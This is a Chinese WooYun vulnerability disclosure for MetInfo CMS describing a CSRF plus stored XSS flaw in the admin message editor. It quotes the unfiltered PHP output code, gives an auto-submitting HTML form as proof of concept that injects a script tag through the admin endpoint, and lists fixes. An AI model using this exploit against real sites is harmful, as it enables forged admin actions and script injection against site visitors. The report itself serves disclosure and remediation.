当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0102382

漏洞标题：MetInfo最新版csrf+xss

相关厂商：MetInfo

漏洞作者： Ader_duo

提交时间：2015-03-19 17:25

修复时间：2015-06-18 11:12

公开时间：2015-06-18 11:12

漏洞类型：xss跨站脚本攻击

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-19： 细节已通知厂商并且等待厂商处理中
2015-03-20： 厂商已经确认，细节仅向厂商公开
2015-03-23： 细节向第三方安全合作伙伴开放
2015-05-14： 细节向核心白帽子及相关领域专家公开
2015-05-24： 细节向普通白帽子公开
2015-06-03： 细节向实习白帽子公开
2015-06-18： 细节向公众公开

简要描述：

csrf+xss

详细说明：

漏洞所在文件：\admin\content\message\editor.php
分析知，对post数据值未进行过滤，直接插入数据库。参数readok=1代表在前台显示此条数据。
且未做csrf防护，我们可以利用csrf让他在前台显示
另外编辑文件成功之后，看前台留言显示页面是如何从数据库里调出来的。
\message\index.php

require_once '../public/php/methtml.inc.php';
$methtml_messagelist.="<ul>\n";
foreach($message_list as $key=>$val){
    $messagesName1=$db->get_one("select value from $met_config where name='met_message_fd_class' and lang='$lang'");
    $messagesNames1=$db->get_one("select info from $met_mlist where listid='$val[id]' and paraid='$messagesName1[value]' and lang='$lang'");
    $messagesName2=$db->get_one("select value from $met_config where name='met_message_fd_content' and lang='$lang'");
    $messagesNames2=$db->get_one("select info from $met_mlist where listid='$val[id]' and paraid='$messagesName2[value]' and lang='$lang'");
    $methtml_messagelist.="<li class='message_list_line'><span >[NO".$val[id]."]：<b>".$messagesNames1[info]."</b> ".$lang_Publish." ".$val[addtime]."</span></li>\n";
    $methtml_messagelist.="<li class='message_list_info'><span ><b>".$lang_SubmitContent."</b>:".$messagesNames2[info]."</span></li>\n";
    $methtml_messagelist.="<li class='message_list_reinfo'><span ><b>".$lang_Reply."</b>:".$val[useinfo]."</span></li>\n";
    }


在这里是将后台内容显示在前台的。分析知也未进行过滤，直接从数据库查询出就显示了。
利用代码 1.php
<form action="http://127.0.0.1/metinfo/admin/content/message/editor.php?anyid=29&action=editor&lang=cn&class1=25&customerid=" method="post" name="c">
<input type="text" name="id" value="2"/>
<input type="text" name="para119" value="<script>alert(1)</script>">
<input type="text" name="readok" value="1">
</form> <script> document.c.submit(); </script>

漏洞证明：

管理员登陆状态下打开1.php文件自动编辑成功。
这时，前台-关于我们-在线留言。触发漏洞

2.png

修复方案：

加token。
验证referer
更新数据库和查询数据库时都对数据过滤。

版权声明：转载请注明来源 Ader_duo@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2015-03-20 11:11

厂商回复：

谢谢您的反馈！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-07-13 10:41 | 1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少，你可别骗我！！！)

    学习了！